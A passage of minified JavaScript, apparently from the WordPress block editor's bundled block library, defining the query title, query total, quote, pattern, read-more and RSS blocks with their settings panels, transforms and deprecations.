title"),onChange:()=>l({showPrefix:!n}),checked:n})})})}),(0,Bt.jsx)(d,{...f,children:g})]})}if(t==="search"&&(h=(0,Bt.jsxs)(Bt.Fragment,{children:[(0,Bt.jsx)(sl.InspectorControls,{children:(0,Bt.jsx)(cl.__experimentalToolsPanel,{label:(0,Kt.__)("Settings"),resetAll:()=>l({showSearchTerm:!0}),dropdownMenuProps:p,children:(0,Bt.jsx)(cl.__experimentalToolsPanelItem,{hasValue:()=>!i,label:(0,Kt.__)("Show search term in title"),onDeselect:()=>l({showSearchTerm:!0}),isShownByDefault:!0,children:(0,Bt.jsx)(cl.ToggleControl,{label:(0,Kt.__)("Show search term in title"),onChange:()=>l({showSearchTerm:!i}),checked:i})})})}),(0,Bt.jsx)(d,{...f,children:i?(0,Kt.__)("Search results for: \u201Csearch term\u201D"):(0,Kt.__)("Search results")})]})),t==="post-type"){let g;m?n?g=(0,Kt.sprintf)((0,Kt.__)('Post Type: "%s"'),m):g=m:g=n?(0,Kt.__)("Post Type: Name"):(0,Kt.__)("Name"),h=(0,Bt.jsxs)(Bt.Fragment,{children:[(0,Bt.jsx)(sl.InspectorControls,{children:(0,Bt.jsx)(cl.__experimentalToolsPanel,{label:(0,Kt.__)("Settings"),resetAll:()=>l({showPrefix:!0}),dropdownMenuProps:p,children:(0,Bt.jsx)(cl.__experimentalToolsPanelItem,{hasValue:()=>!n,label:(0,Kt.__)("Show post type label"),onDeselect:()=>l({showPrefix:!0}),isShownByDefault:!0,children:(0,Bt.jsx)(cl.ToggleControl,{label:(0,Kt.__)("Show post type label"),onChange:()=>l({showPrefix:!n}),checked:n})})})}),(0,Bt.jsx)(d,{...f,children:g})]})}return(0,Bt.jsxs)(Bt.Fragment,{children:[(0,Bt.jsx)(sl.BlockControls,{group:"block",children:(0,Bt.jsx)(sl.HeadingLevelDropdown,{value:r,options:a,onChange:g=>l({level:g})})}),h]})}var Od=o(I(),1);var Rne=[{isDefault:!0,name:"archive-title",title:(0,Od.__)("Archive Title"),description:(0,Od.__)("Display the archive title based on the queried object."),icon:Cl,attributes:{type:"archive"},scope:["inserter"]},{isDefault:!1,name:"search-title",title:(0,Od.__)("Search Results Title"),description:(0,Od.__)("Display the search results title based on the queried object."),icon:Cl,attributes:{type:"search"},scope:["inserter"]},{isDefault:!1,name:"post-type-label",title:(0,Od.__)("Post Type Label"),description:(0,Od.__)("Display the post type label based on the queried object."),icon:Cl,attributes:{type:"post-type"},scope:["inserter"]}];Rne.forEach(e=>{e.isActive||(e.isActive=(t,r)=>t.type===r.type)});var zne=Rne;var J4e={attributes:{type:{type:"string"},textAlign:{type:"string"},level:{type:"number",default:1},levelOptions:{type:"array"}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{padding:!0,margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},e3e={attributes:{type:{type:"string"},textAlign:{type:"string"},level:{type:"number",default:1}},supports:{align:["wide","full"],html:!1,color:{gradients:!0},spacing:{margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0}},save(){return null},migrate:jt,isEligible({style:e}){return e?.typography?.fontFamily}},Vne=[J4e,e3e];var{name:Fne}=ZC,One={icon:Cl,edit:Ane,variations:zne,deprecated:Vne},t3e=()=>N({name:Fne,metadata:ZC,settings:One});var iM={};q(iM,{init:()=>o3e,metadata:()=>KC,name:()=>Une,settings:()=>Gne});var KC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/query-total",title:"Query Total",category:"theme",ancestor:["core/query"],description:"Display the total number of results in a query.",textdomain:"default",attributes:{displayType:{type:"string",default:"total-results"}},usesContext:["queryId","query"],supports:{anchor:!0,align:["wide","full"],html:!1,spacing:{margin:!0,padding:!0},color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}},interactivity:{clientNavigation:!0}},style:"wp-block-query-total"};var QC=o(T(),1),YC=o(A(),1),wg=o(I(),1);var Rm=o(A(),1),Hd=o(v(),1),aM=(0,Hd.jsx)(Rm.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"24",height:"24","aria-hidden":"true",focusable:"false",children:(0,Hd.jsx)(Rm.Path,{d:"M4 11h4v2H4v-2zm6 0h6v2h-6v-2zm8 0h2v2h-2v-2z"})}),nM=(0,Hd.jsx)(Rm.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"24",height:"24","aria-hidden":"true",focusable:"false",children:(0,Hd.jsx)(Rm.Path,{d:"M4 13h2v-2H4v2zm4 0h10v-2H8v2zm12 0h2v-2h-2v2z"})}),Hne=(0,Hd.jsx)(Rm.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"24",height:"24","aria-hidden":"true",focusable:"false",children:(0,Hd.jsx)(Rm.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2Zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12Zm-7-6-4.1 5h8.8v-3h-1.5v1.5h-4.2l2.9-3.5-2.9-3.5h4.2V10h1.5V7H7.4l4.1 5Z"})});var is=o(v(),1);function jne({attributes:e,setAttributes:t}){let{displayType:r}=e,a=(0,QC.useBlockProps)(),n=()=>{switch(r){case"total-results":return aM;case"range-display":return nM}},i=[{role:"menuitemradio",title:(0,wg.__)("Total results"),isActive:r==="total-results",icon:aM,onClick:()=>{t({displayType:"total-results"})}},{role:"menuitemradio",title:(0,wg.__)("Range display"),isActive:r==="range-display",icon:nM,onClick:()=>{t({displayType:"range-display"})}}],l=(0,is.jsx)(QC.BlockControls,{children:(0,is.jsx)(YC.ToolbarGroup,{children:(0,is.jsx)(YC.ToolbarDropdownMenu,{icon:n(),label:(0,wg.__)("Change display type"),controls:i})})});return(0,is.jsxs)("div",{...a,children:[l,r==="total-results"?(0,is.jsx)(is.Fragment,{children:(0,wg.__)("12 results found")}):r==="range-display"?(0,is.jsx)(is.Fragment,{children:(0,wg.__)("Displaying 1 \u2013 10 of 12")}):null]})}var{name:Une}=KC,Gne={icon:Hne,edit:jne},o3e=()=>N({name:Une,metadata:KC,settings:Gne});var sM={};q(sM,{init:()=>f3e,metadata:()=>t6,name:()=>Xne,settings:()=>Jne});var lM=o(I(),1);var Tb=o(U(),1),Qr=o(T(),1),sa=o(v(),1),zm=e=>{let{value:t,...r}=e;return[{...r},t?(0,Tb.parseWithAttributeSchema)(t,{type:"array",source:"query",selector:"p",query:{content:{type:"string",source:"html"}}}).map(({content:a})=>(0,Tb.createBlock)("core/paragraph",{content:a})):(0,Tb.createBlock)("core/paragraph")]},Wne=["left","right","center"],jd=(e,t)=>{let{align:r,...a}=e;return[Wne.includes(r)?{...a,textAlign:r}:e,t]},a3e=(e,t)=>[{...e,className:e.className?e.className+" is-style-large":"is-style-large"},t],n3e={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:"",role:"content"},citation:{type:"string",source:"html",selector:"cite",default:"",role:"content"},align:{type:"string"}},supports:{anchor:!0,html:!1,__experimentalOnEnter:!0,__experimentalOnMerge:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0}},color:{gradients:!0,heading:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}}},isEligible:({align:e})=>Wne.includes(e),save({attributes:e}){let{align:t,citation:r}=e,a=w({[`has-text-align-${t}`]:t});return(0,sa.jsxs)("blockquote",{...Qr.useBlockProps.save({className:a}),children:[(0,sa.jsx)(Qr.InnerBlocks.Content,{}),!Qr.RichText.isEmpty(r)&&(0,sa.jsx)(Qr.RichText.Content,{tagName:"cite",value:r})]})},migrate:jd},i3e={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:"",role:"content"},citation:{type:"string",source:"html",selector:"cite",default:"",role:"content"},align:{type:"string"}},supports:{anchor:!0,__experimentalSlashInserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0}}},save({attributes:e}){let{align:t,value:r,citation:a}=e,n=w({[`has-text-align-${t}`]:t});return(0,sa.jsxs)("blockquote",{...Qr.useBlockProps.save({className:n}),children:[(0,sa.jsx)(Qr.RichText.Content,{multiline:!0,value:r}),!Qr.RichText.isEmpty(a)&&(0,sa.jsx)(Qr.RichText.Content,{tagName:"cite",value:a})]})},migrate(e){return jd(...zm(e))}},l3e={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:""},citation:{type:"string",source:"html",selector:"cite",default:""},align:{type:"string"}},migrate(e){return jd(...zm(e))},save({attributes:e}){let{align:t,value:r,citation:a}=e;return(0,sa.jsxs)("blockquote",{style:{textAlign:t||null},children:[(0,sa.jsx)(Qr.RichText.Content,{multiline:!0,value:r}),!Qr.RichText.isEmpty(a)&&(0,sa.jsx)(Qr.RichText.Content,{tagName:"cite",value:a})]})}},s3e={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:""},citation:{type:"string",source:"html",selector:"cite",default:""},align:{type:"string"},style:{type:"number",default:1}},migrate(e){if(e.style===2){let{style:t,...r}=e;return jd(...a3e(...zm(r)))}return jd(...zm(e))},save({attributes:e}){let{align:t,value:r,citation:a,style:n}=e;return(0,sa.jsxs)("blockquote",{className:n===2?"is-large":"",style:{textAlign:t||null},children:[(0,sa.jsx)(Qr.RichText.Content,{multiline:!0,value:r}),!Qr.RichText.isEmpty(a)&&(0,sa.jsx)(Qr.RichText.Content,{tagName:"cite",value:a})]})}},c3e={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:""},citation:{type:"string",source:"html",selector:"footer",default:""},align:{type:"string"},style:{type:"number",default:1}},migrate(e){if(!isNaN(parseInt(e.style))){let{style:t,...r}=e;return jd(...zm(r))}return jd(...zm(e))},save({attributes:e}){let{align:t,value:r,citation:a,style:n}=e;return(0,sa.jsxs)("blockquote",{className:`blocks-quote-style-${n}`,style:{textAlign:t||null},children:[(0,sa.jsx)(Qr.RichText.Content,{multiline:!0,value:r}),!Qr.RichText.isEmpty(a)&&(0,sa.jsx)(Qr.RichText.Content,{tagName:"footer",value:a})]})}},$ne=[n3e,i3e,l3e,s3e,c3e];var Pb=o(I(),1),lc=o(T(),1),qne=o(A(),1),JC=o(z(),1),e6=o(j(),1),Zne=o(Nf(),1);var du=o(v(),1),XC=e6.Platform.OS==="web",u3e=[["core/paragraph",{}]],m3e=(e,t)=>{let r=(0,JC.useRegistry)(),{updateBlockAttributes:a,replaceInnerBlocks:n}=(0,JC.useDispatch)(lc.store);(0,e6.useEffect)(()=>{if(!e.value)return;let[i,l]=zm(e);(0,Zne.default)("Value attribute on the quote block",{since:"6.0",version:"6.5",alternative:"inner blocks"}),r.batch(()=>{a(t,i),n(t,l)})},[e.value])};function Kne({attributes:e,setAttributes:t,insertBlocksAfter:r,clientId:a,className:n,style:i,isSelected:l}){let{textAlign:s,allowedBlocks:c}=e;m3e(e,a);let u=(0,lc.useBlockProps)({className:w(n,{[`has-text-align-${s}`]:s}),...!XC&&{style:i}}),m=(0,lc.useInnerBlocksProps)(u,{template:u3e,templateInsertUpdatesSelection:!0,__experimentalCaptureToolbars:!0,renderAppender:!1,allowedBlocks:c});return(0,du.jsxs)(du.Fragment,{children:[(0,du.jsx)(lc.BlockControls,{group:"block",children:(0,du.jsx)(lc.AlignmentControl,{value:s,onChange:p=>{t({textAlign:p})}})}),(0,du.jsxs)(qne.BlockQuotation,{...m,children:[m.children,(0,du.jsx)(ha,{attributeKey:"citation",tagName:XC?"cite":"p",style:XC&&{display:"block"},isSelected:l,attributes:e,setAttributes:t,__unstableMobileNoFocusOnMount:!0,icon:v1,label:(0,Pb.__)("Quote citation"),placeholder:(0,Pb.__)("Add citation"),addLabel:(0,Pb.__)("Add citation"),removeLabel:(0,Pb.__)("Remove citation"),excludeElementClassName:!0,className:"wp-block-quote__citation",insertBlocksAfter:r,...XC?{}:{textAlign:s}})]})]})}var t6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/quote",title:"Quote",category:"text",description:'Give quoted text visual emphasis. "In quoting others, we cite ourselves." \u2014 Julio Cort\xE1zar',keywords:["blockquote","cite"],textdomain:"default",attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:"",role:"content"},citation:{type:"rich-text",source:"rich-text",selector:"cite",role:"content"},textAlign:{type:"string"}},supports:{anchor:!0,align:["left","right","wide","full"],html:!1,background:{backgroundImage:!0,backgroundSize:!0,__experimentalDefaultControls:{backgroundImage:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},dimensions:{minHeight:!0,__experimentalDefaultControls:{minHeight:!1}},__experimentalOnEnter:!0,__experimentalOnMerge:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,heading:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},layout:{allowEditing:!1},spacing:{blockGap:!0,padding:!0,margin:!0},interactivity:{clientNavigation:!0},allowedBlocks:!0},styles:[{name:"default",label:"Default",isDefault:!0},{name:"plain",label:"Plain"}],editorStyle:"wp-block-quote-editor",style:"wp-block-quote"};var Ud=o(T(),1),Bb=o(v(),1);function Qne({attributes:e}){let{textAlign:t,citation:r}=e,a=w({[`has-text-align-${t}`]:t});return(0,Bb.jsxs)("blockquote",{...Ud.useBlockProps.save({className:a}),children:[(0,Bb.jsx)(Ud.InnerBlocks.Content,{}),!Ud.RichText.isEmpty(r)&&(0,Bb.jsx)(Ud.RichText.Content,{tagName:"cite",value:r})]})}var Ib=o(T(),1),Or=o(U(),1),d3e={from:[{type:"block",blocks:["core/verse"],transform:({content:e})=>(0,Or.createBlock)("core/quote",{},[(0,Or.createBlock)("core/paragraph",{content:e})])},{type:"block",blocks:["core/pullquote"],transform:({value:e,align:t,citation:r,anchor:a,fontSize:n,style:i})=>(0,Or.createBlock)("core/quote",{align:t,citation:r,anchor:a,fontSize:n,style:i},[(0,Or.createBlock)("core/paragraph",{content:e})])},{type:"prefix",prefix:">",transform:e=>(0,Or.createBlock)("core/quote",{},[(0,Or.createBlock)("core/paragraph",{content:e})])},{type:"raw",schema:()=>({blockquote:{children:"*"}}),selector:"blockquote",transform:(e,t)=>(0,Or.createBlock)("core/quote",{},t({HTML:e.innerHTML,mode:"BLOCKS"}))},{type:"block",isMultiBlock:!0,blocks:["*"],isMatch:({},e)=>e.length===1?["core/paragraph","core/heading","core/list","core/pullquote"].includes(e[0].name):!e.some(({name:t})=>t==="core/quote"),__experimentalConvert:e=>(0,Or.createBlock)("core/quote",{},e.map(t=>(0,Or.createBlock)(t.name,t.attributes,t.innerBlocks)))}],to:[{type:"block",blocks:["core/pullquote"],isMatch:({},e)=>e.innerBlocks.every(({name:t})=>t==="core/paragraph"),transform:({align:e,citation:t,anchor:r,fontSize:a,style:n},i)=>{let l=i.map(({attributes:s})=>`${s.content}`).join("<br>");return(0,Or.createBlock)("core/pullquote",{value:l,align:e,citation:t,anchor:r,fontSize:a,style:n})}},{type:"block",blocks:["core/verse"],isMatch:({},e)=>e.innerBlocks.every(t=>t.name==="core/paragraph"?!0:(0,Or.switchToBlockType)(t,"core/paragraph")!==null),transform:({},e)=>{let r=e.flatMap(a=>a.name==="core/paragraph"?a:(0,Or.switchToBlockType)(a,"core/paragraph")||[]).map(({attributes:a})=>a.content||"").filter(Boolean).join("<br>");return(0,Or.createBlock)("core/verse",{content:r})}},{type:"block",blocks:["core/paragraph"],isMatch:({citation:e},t)=>{let r=t.innerBlocks;return r.length?r.every(a=>a.name==="core/paragraph"?!0:(0,Or.switchToBlockType)(a,"core/paragraph")!==null):!Ib.RichText.isEmpty(e)},transform:({citation:e},t)=>{let r=t.flatMap(a=>a.name==="core/paragraph"?a:(0,Or.switchToBlockType)(a,"core/paragraph")||[]);return Ib.RichText.isEmpty(e)?r:[...r,(0,Or.createBlock)("core/paragraph",{content:e})]}},{type:"block",blocks:["core/group"],transform:({citation:e,anchor:t},r)=>(0,Or.createBlock)("core/group",{anchor:t},Ib.RichText.isEmpty(e)?r:[...r,(0,Or.createBlock)("core/paragraph",{content:e})])}],ungroup:({citation:e},t)=>Ib.RichText.isEmpty(e)?t:[...t,(0,Or.createBlock)("core/paragraph",{content:e})]},Yne=d3e;var{name:Xne}=t6,Jne={icon:LP,example:{attributes:{citation:(0,lM.__)("Julio Cort\xE1zar")},innerBlocks:[{name:"core/paragraph",attributes:{content:(0,lM.__)("In quoting others, we cite ourselves.")}}]},transforms:Yne,edit:Kne,save:Qne,deprecated:$ne},f3e=()=>N({name:Xne,metadata:t6,settings:Jne});var cM={};q(cM,{init:()=>P3e,metadata:()=>r6,name:()=>uie,settings:()=>mie});var lie=o(Y(),1),sie=o(z(),1),cie=o(Ho(),1);var r6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/block",title:"Pattern",category:"reusable",description:"Reuse this design across your site.",keywords:["reusable"],textdomain:"default",attributes:{ref:{type:"number"},content:{type:"object",default:{}}},providesContext:{"pattern/overrides":"content"},supports:{customClassName:!1,html:!1,inserter:!1,renaming:!1,interactivity:{clientNavigation:!0},customCSS:!1}};var Nb=o(z(),1),Db=o(j(),1),Cg=o(Y(),1),sc=o(A(),1),Eb=o(I(),1),Lr=o(T(),1),oie=o(tie(),1),aie=o(U(),1);var gr=o(v(),1),{useLayoutClasses:g3e}=Z(Lr.privateApis),{isOverridableBlock:v3e}=Z(oie.privateApis),b3e=["full","wide","left","right"],y3e=(e,t)=>{let r=(0,Db.useRef)();return(0,Db.useMemo)(()=>{if(!e?.length)return{};let a=r.current;if(a===void 0){let i=t?.type==="constrained",l=e.some(s=>b3e.includes(s.attributes.align));a=i&&l?"full":null,r.current=a}return{alignment:a,layout:a?t:void 0}},[e,t])};function x3e(){let e=(0,Lr.useBlockProps)();return(0,gr.jsx)("div",{...e,children:(0,gr.jsx)(Lr.Warning,{children:(0,Eb.__)("Block cannot be rendered inside itself.")})})}var rie=()=>{};function nie(e){let{ref:t}=e.attributes;return(0,Lr.useHasRecursion)(t)?(0,gr.jsx)(x3e,{}):(0,gr.jsx)(Lr.RecursionProvider,{uniqueId:t,children:(0,gr.jsx)(w3e,{...e})})}function _3e({recordId:e,canOverrideBlocks:t,hasContent:r,handleEditOriginal:a,resetContent:n}){let i=(0,Nb.useSelect)(l=>!!l(Cg.store).canUser("update",{kind:"postType",name:"wp_block",id:e}),[e]);return(0,gr.jsxs)(gr.Fragment,{children:[i&&!!a&&(0,gr.jsx)(Lr.BlockControls,{group:"other",children:(0,gr.jsx)(sc.ToolbarGroup,{children:(0,gr.jsx)(sc.ToolbarButton,{onClick:a,children:(0,Eb.__)("Edit original")})})}),t&&(0,gr.jsx)(Lr.BlockControls,{group:"other",children:(0,gr.jsx)(sc.ToolbarGroup,{children:(0,gr.jsx)(sc.ToolbarButton,{onClick:n,disabled:!r,children:(0,Eb.__)("Reset")})})})]})}var k3e={};function w3e({name:e,attributes:{ref:t,content:r},__unstableParentLayout:a,setAttributes:n}){let{record:i,hasResolved:l}=(0,Cg.useEntityRecord)("postType","wp_block",t),[s]=(0,Cg.useEntityBlockEditor)("postType","wp_block",{id:t}),c=l&&!i,{__unstableMarkLastChangeAsPersistent:u}=(0,Nb.useDispatch)(Lr.store),{onNavigateToEntityRecord:m,hasPatternOverridesSource:p,supportedBlockTypesRaw:d}=(0,Nb.useSelect)(C=>{let{getSettings:E}=C(Lr.store);return{onNavigateToEntityRecord:E().onNavigateToEntityRecord,hasPatternOverridesSource:!!(0,aie.getBlockBindingsSource)("core/pattern-overrides"),supportedBlockTypesRaw:E().__experimentalBlockBindingsSupportedAttributes||k3e}},[]),f=(0,Db.useMemo)(()=>{let C=Object.keys(d),E=B=>B.some(D=>C.includes(D.name)&&v3e(D)?!0:E(D.innerBlocks));return p&&E(s)},[p,s,d]),{alignment:h,layout:g}=y3e(s,a),b=g3e({layout:g},e),y=(0,Lr.useBlockProps)({className:w("block-library-block__reusable-block-container",g&&b,{[`align${h}`]:h})}),_=(0,Lr.useInnerBlocksProps)(y,{layout:g,value:s,onInput:rie,onChange:rie,renderAppender:s?.length?void 0:Lr.InnerBlocks.ButtonBlockAppender}),x=()=>{m({postId:t,postType:"wp_block"})},k=()=>{r&&(u(),n({content:void 0}))},S=null;return c&&(S=(0,gr.jsx)(Lr.Warning,{children:(0,Eb.__)("Block has been deleted or is unavailable.")})),l||(S=(0,gr.jsx)(sc.Placeholder,{children:(0,gr.jsx)(sc.Spinner,{})})),(0,gr.jsxs)(gr.Fragment,{children:[l&&!c&&(0,gr.jsx)(_3e,{recordId:t,canOverrideBlocks:f,hasContent:!!r,handleEditOriginal:m?x:void 0,resetContent:k}),S===null?(0,gr.jsx)("div",{..._}):(0,gr.jsx)("div",{...y,children:S})]})}var C3e=e=>typeof e=="object"&&!Array.isArray(e)&&e!==null,S3e={attributes:{ref:{type:"number"},content:{type:"object"}},supports:{customClassName:!1,html:!1,inserter:!1,renaming:!1},isEligible({content:e}){return!!e&&Object.keys(e).every(t=>e[t].values&&C3e(e[t].values))},migrate(e){let{content:t,...r}=e;if(t&&Object.keys(t).length){let a={...t};for(let n in t)a[n]=t[n].values;return{...r,content:a}}return e}},T3e={attributes:{ref:{type:"number"},overrides:{type:"object"}},supports:{customClassName:!1,html:!1,inserter:!1,renaming:!1},isEligible({overrides:e}){return!!e},migrate(e){let{overrides:t,...r}=e,a={};return Object.keys(t).forEach(n=>{a[n]=t[n]}),{...r,content:a}}},iie=[S3e,T3e];var{name:uie}=r6,mie={deprecated:iie,edit:nie,icon:aB,__experimentalLabel:({ref:e})=>{if(!e)return;let t=(0,sie.select)(lie.store).getEditedEntityRecord("postType","wp_block",e);if(t?.title)return(0,cie.decodeEntities)(t.title)}},P3e=()=>N({name:uie,metadata:r6,settings:mie});var uM={};q(uM,{init:()=>I3e,metadata:()=>o6,name:()=>fie,settings:()=>hie});var die=o(I(),1);var o6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/read-more",title:"Read More",category:"theme",description:"Displays the link of a post, page, or any other content-type.",textdomain:"default",attributes:{content:{type:"string",role:"content"},linkTarget:{type:"string",default:"_self"}},usesContext:["postId"],supports:{anchor:!0,html:!1,color:{gradients:!0,text:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0,textDecoration:!0}},spacing:{margin:["top","bottom"],padding:!0,__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalDefaultControls:{width:!0}},interactivity:{clientNavigation:!0}},style:"wp-block-read-more"};var Tg=o(T(),1),Pg=o(A(),1),a6=o(U(),1),Sg=o(I(),1);var cc=o(v(),1);function pie({attributes:{content:e,linkTarget:t},setAttributes:r,insertBlocksAfter:a}){let n=(0,Tg.useBlockProps)(),i=W();return(0,cc.jsxs)(cc.Fragment,{children:[(0,cc.jsx)(Tg.InspectorControls,{children:(0,cc.jsx)(Pg.__experimentalToolsPanel,{label:(0,Sg.__)("Settings"),resetAll:()=>r({linkTarget:"_self"}),dropdownMenuProps:i,children:(0,cc.jsx)(Pg.__experimentalToolsPanelItem,{label:(0,Sg.__)("Open in new tab"),isShownByDefault:!0,hasValue:()=>t!=="_self",onDeselect:()=>r({linkTarget:"_self"}),children:(0,cc.jsx)(Pg.ToggleControl,{label:(0,Sg.__)("Open in new tab"),onChange:l=>r({linkTarget:l?"_blank":"_self"}),checked:t==="_blank"})})})}),(0,cc.jsx)(Tg.RichText,{identifier:"content",tagName:"a","aria-label":(0,Sg.__)("\u201CRead more\u201D link text"),placeholder:(0,Sg.__)("Read more"),value:e,onChange:l=>r({content:l}),__unstableOnSplitAtEnd:()=>a((0,a6.createBlock)((0,a6.getDefaultBlockName)())),withoutInteractiveFormatting:!0,...n})]})}var{name:fie}=o6,hie={icon:Yn,edit:pie,example:{attributes:{content:(0,die.__)("Read more")}}},I3e=()=>N({name:fie,metadata:o6,settings:hie});var mM={};q(mM,{init:()=>L3e,metadata:()=>n6,name:()=>xie,settings:()=>_ie});var n6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/rss",title:"RSS",category:"widgets",description:"Display entries from any RSS or Atom feed.",keywords:["atom","feed"],textdomain:"default",attributes:{columns:{type:"number",default:2},blockLayout:{type:"string",default:"list"},feedURL:{type:"string",default:"",role:"content"},itemsToShow:{type:"number",default:5},displayExcerpt:{type:"boolean",default:!1},displayAuthor:{type:"boolean",default:!1},displayDate:{type:"boolean",default:!1},excerptLength:{type:"number",default:55},openInNewTab:{type:"boolean",default:!1},rel:{type:"string"}},supports:{anchor:!0,align:!0,html:!1,interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{padding:!1,margin:!1}},color:{background:!0,text:!0,gradients:!0,link:!0}},editorStyle:"wp-block-rss-editor",style:"wp-block-rss"};var Gd=o(T(),1),vt=o(A(),1),i6=o(j(),1);var Mt=o(I(),1),gie=o(nr(),1),vie=o(Iu(),1),bie=o(ue(),1);var it=o(v(),1),N3e=1,D3e=20;function yie({attributes:e,setAttributes:t,name:r}){let[a,n]=(0,i6.useState)(!e.feedURL),{blockLayout:i,columns:l,displayAuthor:s,displayDate:c,displayExcerpt:u,excerptLength:m,feedURL:p,itemsToShow:d,openInNewTab:f,rel:h}=e,g=W();function b(D){return()=>{let M=e[D];t({[D]:!M})}}function y(D){D.preventDefault(),p&&(t({feedURL:(0,gie.prependHTTPS)(p)}),n(!1))}let{content:_,status:x,error:k}=(0,vie.useServerSideRender)({attributes:e,skipBlockSupportAttributes:!0,block:r}),S=(0,bie.useDisabled)(),C=(0,Gd.useBlockProps)({ref:a?null:S}),E=(0,Mt.__)("RSS URL");if(a)return(0,it.jsx)("div",{...C,children:(0,it.jsx)(vt.Placeholder,{icon:o1,label:E,instructions:(0,Mt.__)("Display entries from any RSS or Atom feed."),children:(0,it.jsxs)("form",{onSubmit:y,className:"wp-block-rss__placeholder-form",children:[(0,it.jsx)(vt.__experimentalInputControl,{__next40pxDefaultSize:!0,label:E,type:"url",hideLabelFromVision:!0,placeholder:(0,Mt.__)("Enter URL here\u2026"),value:p,onChange:D=>t({feedURL:D}),className:"wp-block-rss__placeholder-input"}),(0,it.jsx)(vt.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,Mt.__)("Apply")})]})})});let B=[{icon:vp,title:(0,Mt.__)("Edit RSS URL"),onClick:()=>n(!0)},{icon:wl,title:(0,Mt._x)("List view","RSS block display setting"),onClick:()=>t({blockLayout:"list"}),isActive:i==="list"},{icon:kl,title:(0,Mt._x)("Grid view","RSS block display setting"),onClick:()=>t({blockLayout:"grid"}),isActive:i==="grid"}];return(0,it.jsxs)(it.Fragment,{children:[(0,it.jsx)(Gd.BlockControls,{children:(0,it.jsx)(vt.ToolbarGroup,{controls:B})}),(0,it.jsx)(Gd.InspectorControls,{children:(0,it.jsxs)(vt.__experimentalToolsPanel,{label:(0,Mt.__)("Settings"),resetAll:()=>{t({itemsToShow:5,displayAuthor:!1,displayDate:!1,displayExcerpt:!1,excerptLength:55,columns:2,openInNewTab:!1})},dropdownMenuProps:g,children:[(0,it.jsx)(vt.__experimentalToolsPanelItem,{label:(0,Mt.__)("Number of items"),hasValue:()=>d!==5,onDeselect:()=>t({itemsToShow:5}),isShownByDefault:!0,children:(0,it.jsx)(vt.RangeControl,{__next40pxDefaultSize:!0,label:(0,Mt.__)("Number of items"),value:d,onChange:D=>t({itemsToShow:D}),min:N3e,max:D3e,required:!0})}),(0,it.jsx)(vt.__experimentalToolsPanelItem,{label:(0,Mt.__)("Display author"),hasValue:()=>!!s,onDeselect:()=>t({displayAuthor:!1}),isShownByDefault:!0,children:(0,it.jsx)(vt.ToggleControl,{label:(0,Mt.__)("Display 